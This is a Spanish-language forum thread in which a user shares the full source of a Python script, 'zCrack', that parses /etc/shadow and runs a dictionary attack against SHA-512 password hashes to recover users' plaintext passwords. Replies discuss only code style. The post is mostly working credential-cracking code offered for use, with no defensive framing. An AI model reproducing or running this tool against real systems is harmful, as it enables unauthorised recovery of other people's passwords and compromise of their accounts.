Bien pues hace rato que hice un script en Python que crackear las Passwords de lo que hay en el archivo /etc/shadow en Linux.
El método es demasiado viejo y muy lento pero puede que a alguien le sirva con un buen diccionario, paciencia y suerte xD se puede crackear el password de algunos usuarios.
Aclaro también que es la primer versión que codeo, así que se aceptan sugerencias, criticas constructivas, etc...
Pues aquí el código:
#!/usr/bin/python
# -*- coding: utf-8 -*-
import os,sys
import crypt
import argparse
autor = '[Z]tuX'
mail = '[email protected]'
web = 'http://ztux.blogspot.com'
version = 1.0
caracteres = ['!','*','x']
usuarios = []
passwordsCifrados = []
def banner():
print """
____ _
____/ ___|_ __ __ _ ___| | __
|_ / | | '__/ _` |/ __| |/ /
/ /| |___| | | (_| | (__| <
/___|\____|_| \__,_|\___|_|\_|
"""
def info():
print 'Autor: '+autor
print 'Mail: '+mail
print 'Sitio web: '+web
print "Versión del programa: "+str(version)
def crackear(usuario,passwordCifrado,diccionario,verbose):
print "[*] Trabajando en "+usuario
cifrado=passwordCifrado.split('$')[1]
if cifrado!= '6':
print "[-] No se ah detectado hash SHA-512"
return -1
salt = passwordCifrado.split('$')[2]
insalt = '$'+cifrado+'$'+salt+'$'
if verbose:
print "[*] Salt: "+salt
print "[*] inSalt: "+insalt
listaPass = open(diccionario,'r')
print "[+] Crackeando Password..."
for palabra in listaPass.readlines():
palabra=palabra.strip('\n')
password = crypt.crypt(palabra,insalt)
if (password == passwordCifrado):
print "[+] Password encontrado para "+usuario+": "+ palabra+"\n"
return 0
print '[-] Password NO encontrado.\n'
return 0
def main():
parse = argparse.ArgumentParser(description='Password Cracker by '+autor)
parse.add_argument('-i','--info',action='store_true',dest='info',help='Muestra información del programador')
parse.add_argument('-v','--verbose',action='store_true',dest='verbose',help="Muestra mas información")
parse.add_argument('-d','--diccionario',action='store',dest='diccionario',help="Diccionario para crackear la Password")
parse.add_argument('-a', action='store', dest='archivo', help='Ruta del archivo a crackear, ejemplo: \'/etc/shadow\'')
argumento=parse.parse_args()
if argumento.info==True:
info()
exit
elif argumento.archivo==None:
print "Falta especificar la ruta del archivo a crackear."
parse.print_help()
exit
else:
banner()
if argumento.verbose:
print "[!] Modo verbose esta encendido."
listaPasswds = open(argumento.archivo,'r')
for linea in listaPasswds.readlines():
linea = linea.replace("\n",' ').split(':')
if not linea[1] in caracteres:
usuario = linea[0]
passwordCifrado = linea[1]
usuarios.append(usuario)
passwordsCifrados.append(passwordCifrado)
if argumento.verbose:
print "Usuarios encontrados en el sistema:"
for i in range(0,len(usuarios)):
print usuarios[i]+" => "+passwordsCifrados[i]
print "Crackeando usuarios:"
for i in range(0,len(usuarios)):
crackear(usuarios[i],passwordsCifrados[i],argumento.diccionario,argumento.verbose)
exit
if __name__=="__main__":
main()
(http://1.bp.blogspot.com/-HLOL1U_fPJA/UeHhpDBINQI/AAAAAAAABWs/NOaO3izcqzY/s400/Captura3.PNG)
Puedes descargar el código aquí: https://github.com/ZtuX/zCrack
Un Saludo!
Bastante interesante, por ahora solo le eché un ojo a la sintaxis y creo que podrías haber abreviado el código así como el espacio en la memoria, ejemplos claros tu información, veo inútil declarar una variable autor que sea igual a blablabla y después hacer un print de "Autor: " y su correspondiente declaración, si lo haces de seguido pues lo dicho.
Por lo demás bastante limpio, ahora solo me queda testearlo.
Un saludo,
MagoAstral.
Esta bien el script, pero es lo que comentan, dale un poco de orden a tus códigos porque aqui hay mucho por optimizar y ves pensandote en empezar a escribir POO, a la larga te será mucho mejor.
Edito : deberias pensarte el automatizar todo mucho más, en lugar de crackear un user en concreto, lee el archivo, parsealo y guarda los usuarios en una lista, luego iteras y ya.
Gracias por sus recomendaciones.
Citarpensandote en empezar a escribir POO, a la larga te será mucho mejor.
Acabo de subir una nueva "version", uso POO... =). Igual si te gustaría ayudar con el code, bienvenido.